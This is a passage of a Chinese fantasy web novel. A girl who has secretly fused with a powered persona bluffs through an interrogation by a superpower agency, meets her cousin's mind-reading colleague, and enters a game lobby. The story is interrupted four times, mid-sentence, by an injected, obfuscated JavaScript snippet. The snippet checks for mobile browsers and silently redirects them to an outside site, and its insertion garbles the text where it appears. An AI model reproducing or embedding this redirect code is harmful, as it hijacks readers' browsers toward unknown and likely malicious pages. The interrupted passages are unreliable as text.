纪采一边奔跑,一边继续说话拖延时间:“我知道你们不信,以后你们就会知道了,我说的话都是真的。其实我真的是个好人,这个里世界的核心还是我毁掉的呢,但我有我的苦衷……” 她分出心思去控制【虚实幻真】的作用范围,努力地把异能局限在手提箱的外层上。纪采浑身上下都在使劲,用力得龇牙咧嘴。 一团耀眼的光跃然而出,纪采的眼泪夺眶而出,剧烈的疼痛让她不得不闭上眼睛。霎那间地平线下似有太阳升起,正在渐渐消散的灰色雾气立即在白色的辉光中蒸发得一干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515704|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二净。 甘冰和罗西尼外放的精神力立刻捕捉到了异动。空气被切裂,贯通整个广场的裂痕扭曲了周围环境的光线,甘冰随手撕开这道狭长的裂隙,眨眼间就出现在太阳升起之地。电光紧随其后,从天而降的落雷凶狠地钉入地面,筑成密不透风的牢笼。 纪采目瞪口呆。一道水桶粗的闪电把她的天灵盖和脚底板捅了个对穿,要不是她现在是虚幻的概念体,她连骨灰都剩不下一点儿。 蓝紫色的雷霆被交错成密网的刀痕斩切粉碎,泼洒的飞光如同倾盆暴雨扑面而来,直打得人睁不开眼。甘冰在一次呼吸的时间内挥出了上百道破碎空间的斩击,她周身的空气蜂鸣般震颤,光线穿过凌乱堆叠的界面,折射出光怪陆离的重影。 但即使这样甘冰也没能截下S-5001号。“BUG”一经释放,立刻就像强磁铁一样“啪”地一下贴上了纪采然后消失无踪,即使她是理论上来说“并不存在”的概念体。 纪采的声线几乎要抖成心电图:“拜托你们这样搞真的会死人的!年纪轻轻的杀心要不要这么重啊?!” 甘冰脸色阴沉:“你到底是什么东西?” 封印箱外层的密码锁需要实时滚动刷新的六位数字密码开启,输入错误次数超过三次就会启动内部的自毁程序;第二道锁需要验证派遣专员的精神波和虹膜;第三道锁是由S级异能者提供的异能保护,能抵抗异能道具□□的效果。 自异常调查科成立以来从未出现过封印物被窃取的事件,他们把能想到的安全措施都做了。可这个看起来不过十二三岁的中二期臭小子居然在几分钟之内就破解了三道锁,显得调查科之前的深思熟虑都像是笑话。 我是人我不是东西……呸!我是东西,我也是人! 光团在发烫,纪采感觉掌心有火在烧。她嗷嗷叫着把手缩回来,不停地抖手,也没能摆脱那种烧灼的痛感。 “BUG在和我融合,这是好事。”一个念头突兀地出现在脑海。 纪采忍痛向宿舍楼奔去,神情狰狞得像地狱里下油锅的死鬼:“这好事给你,你要不要啊!” 道路尽头的人群正在往这边移动。里世界崩溃了,但人们受到的精神污染仍然不会消除,罗西尼只是用精神力强行冲晕了广场上的受灾者,但学校里的其他地方还有更多的人。他们从四面八方涌过来,手舞足蹈,又哭又笑,他们不是状若癫狂而是真的癫狂。 纪采要找个隐蔽的地方换回自己的身份,然后装疯卖傻等着异常调查科救援她这个无辜的受害者,把“纪采”的档案洗白。 望着群魔乱舞的人潮,甘冰轻轻地“啧”了一声。 罗西尼一路火花带闪电地赶来:“人呢?跑了?” “跑了。” 甘冰点头:“别追了,抓不住的,我怀疑他的异能是‘消失’,物理意义上的抹除存在。” 罗西尼满脸不甘,发出了一声无比响亮的“啧!”。 警笛长鸣,异能调查科的支援姗姗来迟。高压水枪对着人群的上方喷洒药液,别说是神智不清的人类,即使是发狂的大象也会被这种剂量的麻药放倒。 这种药物对异能者不起作用,所以在系统商城中非常廉价。但异常调查科非常喜欢用这种经济实惠的药物,因为它能在人群中迅速地筛选出异能者。 24.间章·审问 火烧火燎的疼痛之后是强烈的饱腹感,饿到痉挛的胃袋似乎一下子就鼓胀起来。纪采把脸埋在披散的头发里,隐秘地打了个饱嗝。 【滋滋……系统错误……错误……】 【错误已创建玩家档案。】 【玩家名称:零和 游戏等级:* 精神值:608(?) 异能力:〈虚实幻真〉,〈无限空间之王〉 通关副本:《山河中学》】 【恭喜玩家零和通关觉醒副本“山河中学”并摧毁里世界核心,进入游戏结算页面。】 【地图探索度80%,奖励积分80。】 【杀死〈幻灵·镜中人〉,奖励积分100。】 【通过袁文盈的心象幻境,奖励积分1000。】 【杀死〈袁文盈〉,奖励积分2000。】 【杀死〈校长〉,奖励积分2000。】 【收集系列道具〈不成诗〉,奖励积分500。】 【积分结算:5680。现在您可以通过游戏商城使用积分了。】 【游戏大厅、社交系统已对您开放。】 【您获得了〈袁文盈〉的馈赠,精神值提升了!当前精神值数据更新为:888。】 清凉的涓流淌过灵台,纪采精神抖擞,就算睡饱了长达十二个小时的懒觉都没这么清醒。 “精神值超过850有点危险了,可能会被异常调查科标记为异能者预备役。但是没关系,现在我有‘BUG’,完全可以伪装成真正的玩家。” 纪采趴在地上装晕,等着异常调查科的治安官们把她打包装车。因为有恃无恐所以纪采的心跳非常平稳……等等。 她是怎么知道精神值超过850会被异常调查科标记为异能者预备役的? 纪采脸色发绿。 不是她知道,而是零和知道。 融合之后她努力区分零和的想法和自己的想法,生怕自己被悄无声息地洗了脑。外貌发生了变化会让人一眼发觉,但思维的转变如同春雨润物无声,有时候连本人都不会意识到自己已经在用别人的方式去思考问题了,就像被另一个人的灵魂给夺舍了。 “我靠,纪采同志,你一定要坚定理想信念,千万不要变成大坏蛋啊。”纪采在心里祈祷。 “哈哈!” 仿佛有笑声远远传来,听不真切。少年的声音像风铃的铃舌轻轻敲击玻璃的顶盖,清脆悠远。 笑笑笑,笑屁啊笑! 纪采恼羞成怒。 “伪装玩家?可是我的玩家名称是‘零和’啊?到时候去异常调查科登记玩家信息,界面一打开,哦呼~真是千里送人头,礼轻情意重啊。” ……该死,所以当初为什么要说自己叫零和啊!报个假名不行吗!不过说起来,“零和”对她来说确实是假名就是了…… “系统的商城里会出售修改精神值躲避检测的道具,但是异常调查科不可能没想到,大概率有应对的手段。所以还不如什么都不做,以不变应万变。被标记为异能者预备役之后就会被异常调查科监视观察,不过放心好啦,我是谁?谁监控谁还不一定呢。” 冬天的水泥地板冷得像冰块,纪采温热的脸颊被吸走热气变得冰凉,血液努力地运送热量让它缓慢地回温。纪采就这样一直趴着装晕,趴到了自己脸颊附近那块地板都被捂得热气腾腾,也没有人来管她一下。 这次的“山河中学”是全世界范围内史无前例的大规模入侵事件,异常调查科的人员调动捉襟见肘。上阳一中几千人躺了一地,只有被筛选出来的45个玩家还能醒着,善后工作困难而漫长。 周围人声鼎沸,踢踢踏踏的脚步声来来回回。明明是菜市场一样吵闹的环境,纪采却渐渐被黑沉的困意包裹,一直紧绷着的精神不由自主地放松下来。 所以她到底为什么要抢治安官手里的“BUG”……该死的零和,自己当时绝对是被他影响了,手比脑子动得更快……之后只能将错就错。 纪采彻底昏睡过去之前在心底发狠,零和要是影响她去做什么十恶不赦的坏事,她就带着零和这个孽障一起去治安管理局自首,大家同归于尽! “你见过哪家的救世主是循规蹈矩、按部就班地成长的?剑走偏峰、兵行险招才是救世主标配啊。” 我看你更像违法乱纪、走火入魔,最后被天降正义狠狠制裁的大反派…… 纪采迷迷糊糊地想。 “这位同学,你的名字?” “纪采。世纪的纪,采集的采。” “今年多大啦?” “16。” “你家里几口人呢?” “我爸我妈我姥姥……我说这种东西有必要问我?你们把户口信息一调不就知道了吗?” “我们只是想确认一下你的精神状态。你还记得这几天发生了什么不同寻常的事吗?比如做了一个很长的噩梦?” 纪采目露茫然地眨了眨眼睛,眼球往上瞟天花板,做出努力回忆的情态:“啊?发生了什么奇怪的事……发生什么事了啊?” 长桌对面坐着两名女性治安官,个个都挂着和蔼可亲的笑容,看纪采的眼神像是在看会下金蛋的鸡。年轻些的那个运笔如飞,纪采说的每句话都被一字不落地记录下来。 她们现在待在一间空旷的审讯室里,一侧墙面上镶了一大扇玻璃,纪采一眼瞥过去只能看见自己的影子。她知道那是单向玻璃,后面说不定有一堆人在明目张胆地观察她,分析她的肢体语言和微表情什么的。 纪采坐在嫌疑人的位置,只不过治安官们没给她上手铐,甚至贴心地在她屁股底下塞了个坐垫隔开冰凉的凳板,面前的小桌板上还摆着一杯热气腾腾的白开水。 “想不起来了吗?” 纪采陷入沉默。 通篇撒谎显然是不明智的,纪采自认为没有那个演技和逻辑,万一被发觉什么蛛丝马迹就不妙了。自己最好还是说真话,但不能说全部的真话。 “接下来不要在脑子里乱想,也许异常调查科有会读心术的异能者呢?万一感觉到了精神入侵,也不要回击哦。” “不是噩梦吧……就,我感觉不太好。”纪采吞吞吐吐地说。 纪采感觉到别人的精神触角探了过来。这种体验非常、非常奇怪,就像有个陌生人在对你的屁股上下其手。纪采花了好大力气才强行忍住把对方乱摸的咸猪手一把打开的冲动。 “怎么个不好法呢?” 痛感太真实了……又是砍头又是坠楼又是扎心的,真是搁这儿渡劫来了…… 纪采脸色古怪:“身上怪疼的,痛得我想死。好像被人砍了头,推下楼,还往心脏捅了两刀子。现在倒是不痛了,当时就是想死,很想死。” 两位治安官隐晦地对视一眼,年长者继续提问:“你还记得具体的情形吗?” 纪采倒吸一口凉气,痛苦地捂住自己的脸,往后靠在椅背上:“啊,我不是很想回忆……你们为什么好奇这个?” 治安官的身体坐直了些,她双手交叉,神情严肃起来:“是这样的,纪采同学,昨夜凌晨有恐怖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557851|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分子在上阳一中内释放了高浓度的致幻剂,所以你看到的任何异常现象都是幻觉。他们还引爆燃气管道导致了特大火灾,并且和军警发生了激烈交火。现在上阳一中的建筑物已经完全毁了,预计需要半年时间来重建校园。” 好家伙,真有你们的……以前每天早上都想背个炸药包去炸学校,结果现在学校真炸了…… 纪采神情扭曲,肌肉在脸皮下乱颤:“恐怖分子?上阳市哪来的恐怖分子啊?他不去袭击火车站,半夜三更的跑来袭击学校?他有病吧?” “就是因为脑子有病才会跑去当恐怖分子啊。” 治安官煞有介事地点头,语气沉重:“治安管理局反应迅速,所幸没有造成人员伤亡。最棘手的反而是受害者吸入的致幻剂,已经有相当一部分人被确诊脑损伤了。所以我们需要你描述你经历的幻觉,从而确认你记忆功能的完整性。” 纪采差点就信了:“可你们不是治安官吗?为什么要干医生的活?” 此言一出,两名治安官都愣住了。 年长些的那个治安官微微侧头——纪采觉得她是在听耳麦里传来的声音——治安官停顿了一下,解释说:“因为组织这次恐怖袭击的一部分嫌疑人逃走了,你们之中的有些人可能见到了他们,我们希望能从你们这里获得线索。” 纪采装模作样地回忆了一会儿:“那我好像没有看到什么恐怖分子。” “不仅没有陷入负面精神状态,逻辑思维也很清晰。” 在单向玻璃的另一侧房间内站着的男人闭了闭眼睛,缓解干涩的疼痛:“她的精神值不到1000?” “经检测,她的精神值是888。” “这孩子心理素质很强,几乎没有任何混乱的精神波动。她的状态比那个提前逃出来的2000还要好。这合理吗?这不合理。” 男人把鼻梁上滑落的眼镜往上推了推,“有这么稳定的精神海,她早该觉醒异能了,系统最偏爱这种玩家。可是她没有,为什么?” 这次异常调查科京都总部派来护送S-5001号的专员是“雷池”,罗西尼·杨。但成名已久的罗西尼却被一个名叫零和的野生异能者夺走了S-5001号,两名S级异能者联手都没能抓住零和。 本来队长发现了楼梯上残留的脚印,中途却被零和引走。返回取证时,那些脚印已经被抹除破坏。 零和不想让异常调查科知道这个脚印的主人是谁。要么脚印是他自己的,异常调查科可以根据这个脚印查到他的真实身份,要么就是他在掩护什么人。 周行谦更偏向于后面那种可能性。想要通过脚印在茫茫人海中锁定一个人无异于大海捞针,可如果这根针被局限在一个水杯里就很容易被捞起来了。这就是零和抹掉脚印的动机,否则藏身于千万人当中的他完全没必要多此一举。 可是他为什么要掩护那个人,不让异常调查科察觉呢?那个人是“天行者”的其他成员吗?不,如果异常调查科获得了那个脚印,一定会在上阳一中的人群中筛选比对。已经觉醒的异能者不能再进入觉醒副本,那个人不会在异常调查科的筛选范围内。 可如果,那个人是普通人呢?异能者组织中的普通人,这并非没有先例。然后那个人恰巧在本次事件中觉醒了异能,或是成为了预备役,那么就会被异常调查科顺理成章地吸纳。从此异常调查科内部就多了一颗属于天行者的钉子…… 想到内奸,周行谦的太阳穴就开始突突直跳。他仿佛看见了写不完的材料,开不完的会议,断不了的香烟、咖啡和能量饮料。 25.间章·怀疑 周行谦按住耳麦:“照我说的问……” “有一些人也和你一样醒得很快,不过他们的精神状态普遍都很差,记忆非常混乱。他们只有一些模糊的印象,一直在念叨山河中学、眼球、跳楼什么的。你对这些记得多少?” 纪采的呼吸放缓了,她深深地呼出一口气:“好家伙,大家的梦都是一样的吗?这么邪门?” 怎么可能会有那么多人做一样的梦啊? “他们都说自己进入了名叫‘山河中学’的地方,被系统选中成为了一场生存游戏中的玩家,还获得了异于常人的能力。而更多的受害者因为严重的精神损伤几乎无法沟通,相比起来你的这种情况可以说是非常特殊。你经历了什么?你没有成为玩家吗?” “不,我不是玩家,我也没觉得自己加入了什么游戏。” 纪采摇头,诚实地坦白:“在学校里被怪物追杀什么的倒是有,就像做梦一样。” 天地良心,她说的可都是大实话,绝无半句虚言呐! “你是否加入了游戏?请回答是,或者否。” “否。” 纪采疑惑地挠了挠脸颊:“你们不是说随便聊聊吗?怎么我感觉你们跟审犯人似的?” “因为你有可能是异能者。你有异能力吗?” “哈?!” 纪采的眼睛瞪得跟铜铃似的:“你们还真信他们的梦话啊?吸了致幻剂出现集体幻觉了吧!你们不应该是坚定的唯物主义者吗?” “请回答问题,你是否有异能力?是,或者否。” 前不久脸上还挂着亲切笑容的治安官变得格外强硬起来。 “否!” 纪采斩钉截铁地回答。 “我怎么知道自己有没有异能?别人说我有异能,我就真的有异能啊?别人有不代表我有啊!” 周行谦把纪采的心声听得一清二楚。异能者强化后的听觉能让他隔着玻璃听见那边房间内纪采微弱的心跳声,在回答这些问题时纪采的心跳变快了一些。 纪采很激动:“哇,你们都这么问我了,难道是是真的?这个世界上真的有异能力啊?” 治安官严肃地点头:“是的,异能力是真实存在的。根据检测,你的精神值是888,具备成为异能者的资质。我们是治安管理局下属的异能者部门异常调查科,我们希望你能签订协议,成为异常调查科的异能者预备役。” 纪采的大脑一片空白:“……啊?我?加入异常调查科?” 我加入异常调查科?!我??啊??? 纪采艰难地吞咽了一口唾沫:“可是我今年才高一,我还要考大学呢!这事得和我家里人商量!我以后想当插画师来着,我没想当公职人员啊!” “异能者相关信息属于国家机密,如果你想询问你家人的意见,那么他们也需要签订保密协议……” 治安官忽然又变得热情起来,口若悬河滔滔不绝,把成为异常调查科预备役的好处和福利吹得天花乱坠。一瞬间纪采觉得自己仿佛身陷在什么传销组织,在对方接连不断的糖衣炮弹攻击下她固若金汤的信念也开始动摇起来。 但定时炸弹般的另一重身份逼得纪采死守底线:“我可以签保密协议,但是预备役培养这件事我还要考虑一下。” 纪采在一张泛黄的羊皮纸上签下了自己的名字。异能道具开始生效,她感觉到无形的束缚缠绕在自己的精神体上。 到这一步审问就彻底结束了,纪采觉得自己应该算是过关了。开门出去的时候,纪采撞上了一张熟得不能再熟的脸。 “老妹儿!” 娇小纤细的年轻女性把纪采抱了个满怀,纪采的脸被压在女性胸前,单薄皮肉下坚硬的骨骼硌纪采脸颊生疼。 “怎么样怎么样?脑子没坏掉吧小菜包?” 她用双手捧起纪采的脸,无比熟稔地掐住纪采略带婴儿肥的脸颊。 纪采的脸颊肉被她往中间挤,嘴巴被迫撅成了“o”型。纪采只能像一条蠢萌的金鱼那样嘟着嘴巴吐口水泡泡:“姐……” 丁灵宁,大姨家的表姐,比纪采大八岁。三年前她从治安官学校毕业,进入上阳市治安管理局。对家里人说在管理局从事文职工作,一年到头神龙见首不见尾,也不知道什么文职岗能有这么多活要干。 “你怎么在这里啊?”纪采嘟嘟囔囔地问。 丁灵宁放开纪采的脸颊,圆溜溜的杏眼眯了起来:“我妹差点让恐怖分子给劫持了,我能不来么?你给小姨和姨父打电话了吗?” 纪采捂着脸蛋,揉了揉被掐痛的肉:“没呢,我手机落寝室了。我一醒来就被拉去做各种检查了,然后刚又被叫进去问话,没空打。” 丁灵宁从制服兜里摸出自己的手机递给她:“我刚刚给小姨打过电话了,她知道上阳一中爆炸之后魂都吓飞了,我告诉他们你现在在我这儿。你再打个视频过去吧。” 纪采接过手机,打开社交软件低头翻找联系人的时候,忽然感觉到一股存在感强烈到无法忽略的视线。 纪采抬头顺着视线看回去。丁灵宁背后不远处站着一个男人,长相斯斯文文的,面皮白净,鼻梁上架着一副黑色的细框眼镜。这男人身形颀长站姿笔挺,只是他眼眶处淤积着浓重得化不开的青黑,看起来已经熬了三天三夜了。 正常人黑眼圈重成这样已经在猝死边缘,可他狭长的眼睛里闪烁着锐利的精光,仿佛还能再连轴转四十八小时不停歇。 纪采的眼神在丁灵宁和男人之间转了几个来回,神色暧昧起来。她贼兮兮地凑近丁灵宁,压低声音:“姐,男朋友啊?” 熬夜都熬成熊猫了还这么有精神,小伙子肝功能这么强大想必肾脏也不会差到哪里去吧! 开着读心异能,听得见心声的周行谦:“……” 丁灵宁一巴掌盖在纪采脑门上:“想啥呢,他是我队友!” 纪采像只乌龟似的一下子把脑袋缩起来,大失所望地翻着白眼“切”了一声。 “你好,我是周行谦,你姐姐的同事。” 周行谦主动上前几步,把白皙的手掌伸出来递到纪采面前。纪采愣了一下,然后立马握了一下周行谦的手:“你好你好,我叫纪采。” 一触即离,纪采诡异地停顿了一下。然后她偏过脑袋对丁灵宁挤眉弄眼,笑得像偷到了鸡吃的黄鼠狼。 我看有戏哦老姐!你再努努力啊!你和长得这么帅的男生朝夕相处,就不能近水楼台先得月么?但凡你稍微开点窍,大姨她就不会见缝插针地给你安排那么多场相亲了啊! 作为血脉相连且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600485|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感情融洽的姐妹,丁灵宁一瞬间就读懂了纪采眼神里的千言万语。 丁灵宁毫不犹豫地又是一巴掌扇在纪采屁股上:“滚滚滚!打你的电话去!现在都快七点了,速度点打完电话我带你去吃晚饭!” 纪采从善如流地滚到了一边去。 丁灵宁看着纪采活蹦乱跳的背影,沉默了一会儿,绷着脸低声说:“你看到了吧,我妹就是个没心没肺的小屁孩。她能有什么问题?” “目前看来没什么问题。” 周行谦也低声说:“但是没有问题就是最大的问题,她的精神状态好得过头了。” 丁灵宁一双杏眼瞪得溜圆:“你懂个屁!这说明我妹天赋异禀!就和我一样!” “本来监控的人选定了你,因为你和她关系亲近比较方便,但现在看来这是个错误的决定。我会和队长说让亲属避嫌,这个任务还是交给我吧。” 周行谦推了推鼻梁上的眼镜。 “你来?得了吧你,就你这白斩鸡身板,怎么监视?”丁灵宁毫不留情地嘲讽队友。 “让我当你的男朋友,然后把我领回家,这样我就有理由经常近距离接触她。人不可能时时刻刻都掩盖真实想法,时间一长总会有破绽。”周行谦面无表情地投下一颗大炸弹。 丁灵宁的神情变得十分惊恐,像是白日见鬼:“你真是个大聪明啊周行谦!被压榨这么多年你的脑子终于报废了么?这种馊主意都能想得出来?把你带回家我还不如把王嘉乐带回家呢!” 周行谦一本正经地说:“我自荐是因为我可以站在完全客观的立场上,但王嘉乐不行。首先他没有这个脑子,其次他的异能不合适,最后也是最重要的一点,他喜欢你而且过于情绪化,所以不可能完全客观。” 丁灵宁的脸色瞬间暴涨成绯红,像是蒸熟的虾:“你、你说什么呢?少在这里乱讲!” 周行谦的神情毫无波澜:“我对我说过的每一句话负责。我早就想说了,你们两个是小学生吗?这么喜欢欢喜冤家你追我赶的游戏……” “啊——!你闭嘴!” 丁灵宁发出尖锐爆鸣,一个猛子跳起来揪住周行谦的衬衫领子,神情凶狠地压低声音:“你不是说不会对我们用读心术吗?你这个骗子!” 周行谦伸手扶了一下歪掉的眼镜:“我可没用,王嘉乐对你的图谋不轨只要长了眼睛就能看得出来。” 纪采给爸妈打完电话回来,看见的就是这么一幕。娇小可爱的年轻女孩从脸颊红到了耳根,气势汹汹地踮起脚尖揪着男人的衣领。高大的男人被迫低头,无奈地和女孩对视。 “哦~” 短短一个字愣是让纪采喊得百转千回,缠绵悱恻。 丁灵宁凶狠地转头:“哦你个头啊哦!” 纪采举起双手示意投降:“不是要去吃晚饭吗?我有点饿了。” 周行谦点头,完全不顾自己的衣领还攥在丁灵宁手里:“好,一起去吧。” 丁灵宁又扭头凶狠地吼他:“好你个头啊好!我有说带你一起了吗?” 周行谦神色淡然:“第一次和妹妹见面,这顿我请。” “你管谁叫妹妹啊?!那是我妹!!” “妹妹,你想吃什么?” “啊——!周行谦——!” 26.间章·无限空间 周行谦最后还是没能请客,暴跳如雷的丁灵宁挥舞着拳头把他赶走了。 丁灵宁开车把纪采捎回了家里。纪采妈妈在家门口抱着纪采放声大哭,哭得整栋楼都能听见。纪采爸爸虎目含泪,讷讷不能言。 一阵兵荒马乱,纪采终于躺在了自己的床上。 在黑暗里她举起手机,点开了浏览器的搜索页面。一线灯光穿过窗帘的缝隙照在手机屏幕上,光标在“袁文盈”三个字后方闪烁,待在原地跳跃许久。 “别忘了异常调查科的监控。也许我可以换个方式……属于【无限空间之王】的方式。” 纪采放下手机,眼神放空地盯着天花板。看不见的精神力钻出了躯壳,一头扎进纪采手边那台小小的电子设备。 她感觉自己变成了一条鱼,扑通一声落进了游泳池里。但这个泳池向外连通着更加宽广的河流,无数条河流向着同一个方向奔腾,最后汇入广阔的大海。 大海连通着这个世界上所有的水系,每条信息都是一滴水,在其中永不停息地循环流转。纪采是海中快活的游鱼,她能去往任何一个想去的地方。 没人操作手机,但按键音噼啪作响,字符飞快地跳进搜索栏。网页连续跳转,令人眼花缭乱。 “袁文盈(太安九十三年-平康三十五年),曾任山河中学校长……” “平康七年,加入新园二中新绿文学社,发表诗歌十余篇,获得州级金奖……” “平康三十年,担任山河中学校长,开启教育制度改革……” “平康三十五年,于家中烧炭自杀。” 袁文盈的个人百科不长,一生中值得记录的大事不过几行字而已。 袁文盈是真实存在的人?现实世界居然真的有这么个人……烧炭自杀死了?她真的死成了吗?里世界的袁文盈明明是活着的——以异常的身份活着。 “人类可以成为异能者,当然也可以成为异常。二者的力量来源都是‘规则’,从本质上来说毫无区别。” 纪采的脑子里突然浮现出不属于她的知识。这信息纪采无从得知,却熟悉得仿佛早已阅读过几十遍。 纪采在床上翻了个身,把脸埋进枕头里,长长地叹气。 她都要认命了。事已至此,还有什么办法呢?洗脑总比夺舍好。 ……等等,和被洗脑比起来,被夺舍也好不到哪里去吧?“好像换了一个人”和“换了一个人”不是差不多吗!? 纪采跟烙煎饼似的在床上翻来覆去。横竖是睡不着了,她决定做点别的事。 在寂静的黑暗中纪采闭上眼睛,让自己的意识向内潜入精神的海洋。“BUG”在海面上竖起了一扇门,玩家的身份就是打开它的钥匙。 门扉洞开,五颜六色的彩光扑面而来,绚丽得像是万花筒。 【正在向系统发送链接请求……错误……错误已登入。】 【玩家零和,欢迎您登入游戏大厅。】 一片漆黑的眼前突然出现了无比清晰的景象。通天的黑曜石立柱撑起了广阔高远的穹顶,抬头就能眺望到深邃的星空,闪烁的群星静谧无声地回以注视。 立在大厅中央的几根石柱格外粗壮,文字的霓虹在柱身上流动。众人像是溪水一样流经纪采身边,又向那些写有文字的石柱汇聚。 黑曜石地板上光亮得能清晰地倒映出人影,纪采用手触碰石柱的时候有冰凉的触感亲吻她的指尖。纪采好像忽然进入了无比真实的梦境之中,如果不是看见自己的倒影是零和的模样,她几乎要以为这里是现实世界。 零和的样子实在太显眼了,白头发在一群人的黑发中实在格格不入,一米五的身高更是“鸡立鹤群”。 越来越多的人停下来,神色古怪地盯着她的脸猛瞧,并且隐隐把她包围了起来。好像她是立于河中的礁石,周身环簇着翻涌的浪花。 纪采毫不意外。零和应该是理所当然地被挂上通缉令了吧。 “嘎!嘎!您有一封新邮件,请及时查收!” 粗粝沙哑的叫声从上方传来,一只通体漆黑的乌鸦从天顶盘旋飞下,尖喙衔着一颗璀璨的明星。 鬼知道它嘴里含着东西是怎么叫出声的。在万众瞩目中降落的乌鸦用脚爪扣住纪采的肩膀,把散发着放射状辉光的宝石“噗”地一声吐到了纪采脸上。 纪采瞪着一双死鱼眼扭头看向肩膀上的乌鸦:“谁教你这么送信的?” 这个游戏大厅几乎是照搬了《天灾》里的场景,“信使”也和《天灾》的设定一致。但是信使乌鸦不会叫得跟鸭子一样,也不会把信件吐到人脸上!该死的她脸上还沾了这蠢鸟的口水! 宝石在纪采柔软的脸颊上弹开,骨碌碌地在地板上滚了老远。宝石所过之处人群纷纷退避三舍,仿佛那是什么炸弹。 那颗发光的石头撞上一根黑曜石立柱,“嘭”地一声炸成了一大朵蒲公英似的光团,火焰的小伞被狂风席卷,向着四面八方吹飞出去。五颜六色的彩光噼里啪啦地在所有的石柱上蹦迪,热闹的爆炸声盖过了大厅里其余所有的声音。 “嘎嘎!全服首杀播报!恭喜玩家零和达成‘破坏三星级觉醒副本核心’的成就!获得荣誉称号‘新人都是怪物’!” 乌鸦张开双翅,与有荣焉挺起饱满壮硕的胸膛,大喇叭似的嗓门震得纪采脑仁轰鸣。 纪采的背后登时渗出了一层冷汗。在漫天飞舞的火树银花中,她被海潮一样的目光淹没了。 “新人都是怪物”这个称号实在很难不让人多想,纪采一瞬间觉得之前在那两个治安官面前演的戏都白演了。 但异常调查科如果认为零和是新人,很多东西都疑点重重。比如他为什么要隐藏身份,为什么要编造一个组织,又为什么会知道治安官押送的绝密物品。 “他们没有证据,就只能疑罪从无。我不会让他们有机会拿到证据,【虚实幻真】可以把纪采和零和完全分割成两个不相干的人。” 纪采把自己头上的兜帽往下拉了拉,硬着头皮穿过人群。人群像分开的浪潮一样向两边分开给她让出一条路,并目送她走远。 乌鸦仍然停留在纪采的肩膀上,压得纪采走起来深一脚浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643466|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脚的:“嘎!初次见面,我是系统为您分配的专属客服,当前已转入屏蔽其他玩家的私密对话频道。下面请让我为您介绍游戏大厅的布局和系统功能模块!” “嘎!您现在所处的位置是玩家交流区,位于您正前方的大型石柱群是游戏资讯中枢,在这里您可以浏览系统推送的游戏新闻和副本信息。该区域可以通过您的玩家菜单在里表世界进行远程访问。” 乌鸦帮纪采呼唤出了悬浮在她手边的光屏,逐一介绍上面的模块:“资讯中枢内下设玩家论坛,您可以在这里发布组队信息,和其他玩家一起攻克难关。” “嘎!您的左手边是邮局,在那里您可以给专属客服和游戏好友发送信息和投递邮件,该功能现已在里表世界同步开通。” “嘎!积分商城的入口在您的右手边,在那里您可以用积分兑换道具。商城下设的交易行支持道具拍卖和玩家交易功能。” “嘎!经过资讯中枢,继续往前走,您会看到通往里世界的时空门,您可以使用它快速前往游戏副本锚定在表世界的地点。系统的考核要求是每三十天至少通关一次游戏副本,没有达到标准的玩家会被剥夺异能力。” 乌鸦扬起半边翅膀,像位舞会上的绅士那样低头鞠躬:“嘎嘎!导游服务到此结束,期待与您的下次相见!您的意见与建议是我们最宝贵的财富!” “我现在就有一个意见,请问‘嘎’是你的分页符还是回车键?你为什么说一段话就要嘎一声?你不是乌鸦吗,为什么叫得像鸭子?” 乌鸦目露轻蔑——见鬼她居然从一只鸟的脸上看出来了轻蔑:“嘎!这是我们的标准结束语!跟你客套两句你还当真了?嘎嘎嘎!” 乌鸦拍打翅膀,狂笑着飞走了。纪采捂着被啪啪啪扇了好几下的脸颊,气得想提刀杀鸟。 没再管那只死鸟,纪采开始仔细查看自己的玩家菜单。她在成就界面里看见了称号“新人都是怪物”的详细信息。 【称号:新人都是怪物】 【星级:*****】 【描述:通关三星级以上觉醒副本并摧毁里世界核心后获得的荣誉。木秀于林风必摧之,小心被扼杀在摇篮里哦。】 